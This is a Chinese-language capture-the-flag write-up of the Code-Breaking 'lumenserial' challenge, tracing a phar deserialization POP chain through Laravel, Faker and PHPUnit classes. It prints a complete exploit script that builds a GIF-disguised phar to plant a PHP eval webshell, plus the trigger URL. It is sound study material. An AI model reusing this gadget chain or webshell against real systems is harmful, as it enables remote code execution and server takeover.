Code-breaking 中有一道考察phar反序列化漏洞的medium题目——lumenserial,POP链很深,很值得学习。
1. 分析过程
1.1 前期准备
线上环境中,PHP版本为7.2.15
,这意味着不能动态调用assert
函数。
还禁用了不少系统函数。
1
| system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
|
拿到源码后,先看一下routes/web.php
1 2 3
| $router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
|
EditorController
应该是个关键点,看一下app/Http/Controllers/EditorController.php
。
在类EditorController
中有一个doCatchimage()
方法,实现了一个远程捕获图片的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| class EditorController extends Controller {
protected function doCatchimage(Request $request) { $sources = $request->input($this->config['catcherFieldName']); $rets = [];
if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } }
return response()->json([ 'state' => 'SUCCESS', 'list' => $rets ]); }
private function download($url) { $maxSize = $this->config['catcherMaxSize']; $limitExtension = array_map(function ($ext) { return ltrim($ext, '.'); }, $this->config['catcherAllowFiles']); $allowTypes = array_map(function ($ext) { return "image/{$ext}"; }, $limitExtension);
$content = file_get_contents($url); $img = getimagesizefromstring($content);
} }
|
可以看到,doCatchimage()
传入了一个Request $request
,然后从中获取$url
参数,在没有经过任何处理的情况下传入download()
方法中,而且网站本身就是一个富文本编辑器,有上传图片的功能,这样我们可以在$content = file_get_contents($url);
处来进行phar反序列化。
由于版本和配置限制,我们最终的目标,应该构造类似call_user_func_array('file_put_contents', [])
来写马。
1.2 POP链构造
phar
反序列化的其他条件都满足了,重点就在POP
链的构造上。
在phpggc
中。Laravel
的一些RCE
都是从Illuminate\Broadcasting\PendingBroadcast::__destruct
走的,我们也可以以此为出发点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class PendingBroadcast { protected $events; protected $event;
public function __construct(Dispatcher $events, $event) { $this->event = $event; $this->events = $events; }
public function __destruct() { $this->events->dispatch($this->event); } }
|
在这里Dispatcher
是一个接口,因此$events
是继承了该接口的类。
只有这两个类继承了Dispatcher
,而且它们的dispatch()
方法都难以利用。
只能换个方向,去寻找存在__call()
魔术方法的类。
__call() 在对象中调用一个不可访问方法时调用。
该方法有两个参数,第一个参数 $function_name
会自动接收不存在的方法名,第二个 $arguments
则以数组的方式接收不存在方法的多个参数。
vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
第52行。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res));
return $res; }
|
这个类应该满足条件,继续往下分析。
若是调用类ValidGenerator
的__call()
方法,$name
的值是dispatch
,传入的$arguments
是一个数组。
1
| $res = call_user_func_array(array($this->generator, $name), $arguments);
|
继续往下分析,看看能不能完全控制call_user_func_array()
的参数,目标是控制$res
的值,从而在下面while
处完成调用。
1
| while (!call_user_func($this->validator, $res));
|
在ValidGenerator
类的构造函数中,传入了Generator
类的实例。
vendor/fzaninotto/faker/src/Faker/Generator.php
因为Generator
中没有dispatch
方法,所以会调用它的__call()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __call($method, $attributes) { return $this->format($method, $attributes); } public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
|
在这里,在Generator
类中嵌套调用Generator
类,实现返回任意类的功能。
1 2 3 4 5 6 7
| $g2->formatters = array('mengchen' => $evalobj); $g1->formatters = array( "dispatch" => array( $g2, "getFormatter", ) );
|
当在$g1
中调用dispatch('可控值')
时,由于类中不存在该方法,则调用__call()
。
假设执行的代码为$g1->dispatch('mengchen');
。
则传给__call($method, $attributes)
,传入的参数$method='dispatch'
、$attributes = ['mengchen']
。
然后进入format($formatter, $arguments = array())
,此时,传入的参数$formatter='dispatch'
、$arguments=['mengchen']
。
接下来,在函数call_user_func_array()
中,$this->getFormatter($formatter)
,就是$g1->getFormatter('dispatch') === [$g2, "getFormatter"]
。
也就是执行函数call_user_func_array([$g2, "getFormatter"], ['mengchen'])
。
也就调用了$g2->getFormatter('mengchen') === $evalobj
。
这样就实现了返回任意一个类。
此时$res == $evalobj
。
到此while (!call_user_func($this->validator, $res));
中的$res
我们完全可控了,接下来看$this->validator
。
在这里找了一个类来做跳板。
vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class ReturnCallback implements Stub { private $callback;
public function __construct($callback) { $this->callback = $callback; }
public function invoke(Invocation $invocation) { return \call_user_func_array($this->callback, $invocation->getParameters()); } }
|
在函数invoke()
中,call_user_func_array()
的两个参数都是反序列化可控的。Invocation
是一个接口,找一下getParameters()
的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class StaticInvocation implements Invocation, SelfDescribing {
private $parameters;
public function getParameters(): array { return $this->parameters; } }
|
call_user_func_array(
)的两个参数我们都能控制了,然后在ValidGenerator
类的while (!call_user_func($this->validator, $res));
中完成调用即可。
到此完成整个POP链。
1.3 攻击思路
令$this->validator
== [$ReturnCallbackobj, 'invoke']
,这样$this->validator
就成了invoke()
方法,然后call_user_func()
调用invoke()
方法,invoke()
调用call_user_func_array()
,因为call_user_func_array()
的两参数可控,这样就能getshell
了。
2. Exp
由上面的分析过程,可以构造最终Exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| namespace Illuminate\Broadcasting{ class PendingBroadcast{ function __construct(){ $this->events = new \Faker\ValidGenerator(); $this->event = 'mengchen'; } } }
namespace Faker{ class ValidGenerator{ function __construct(){ $si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation(); $g1 = new \Faker\Generator(array('mengchen' => $si )); $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));
$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();
$this->validator = array($rc, "invoke"); $this->generator = $g2; $this->maxRetries = 23333; } }
class Generator{ function __construct($form){ $this->formatters = $form; } }
} namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ function __construct(){ $this->parameters = array('/var/www/html/upload/shell.php','<?php phpinfo();eval($_POST["cmd"]);?>'); } } }
namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ function __construct(){ $this->callback = 'file_put_contents'; } } }
namespace{ $exp = new Illuminate\Broadcasting\PendingBroadcast(); print_r(urlencode(serialize($exp)));
$p = new Phar('./meng.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($exp); $p->addFromString('test.txt','test'); $p->stopBuffering(); }
|
3. 利用过程
在本地跑一下exp
,然后将生成的phar
文件改一个后缀名,直接上传即可,在返回的json
数据中有上传图片的路径。
然后直接访问
1
| http://139.199.31.158:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/415c92e8be7c68409ca6bd369d87482f/201902/26/e1ae6f3f0833e9fd73f6.gif
|
触发反序列化,在服务器上写马。
然后getflag
4. References
https://paper.seebug.org/680/
http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-题解-学习篇/
http://hpdoger.me/2019/01/09/Code-breaking-medium%E4%B9%8Blumenserial/
https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html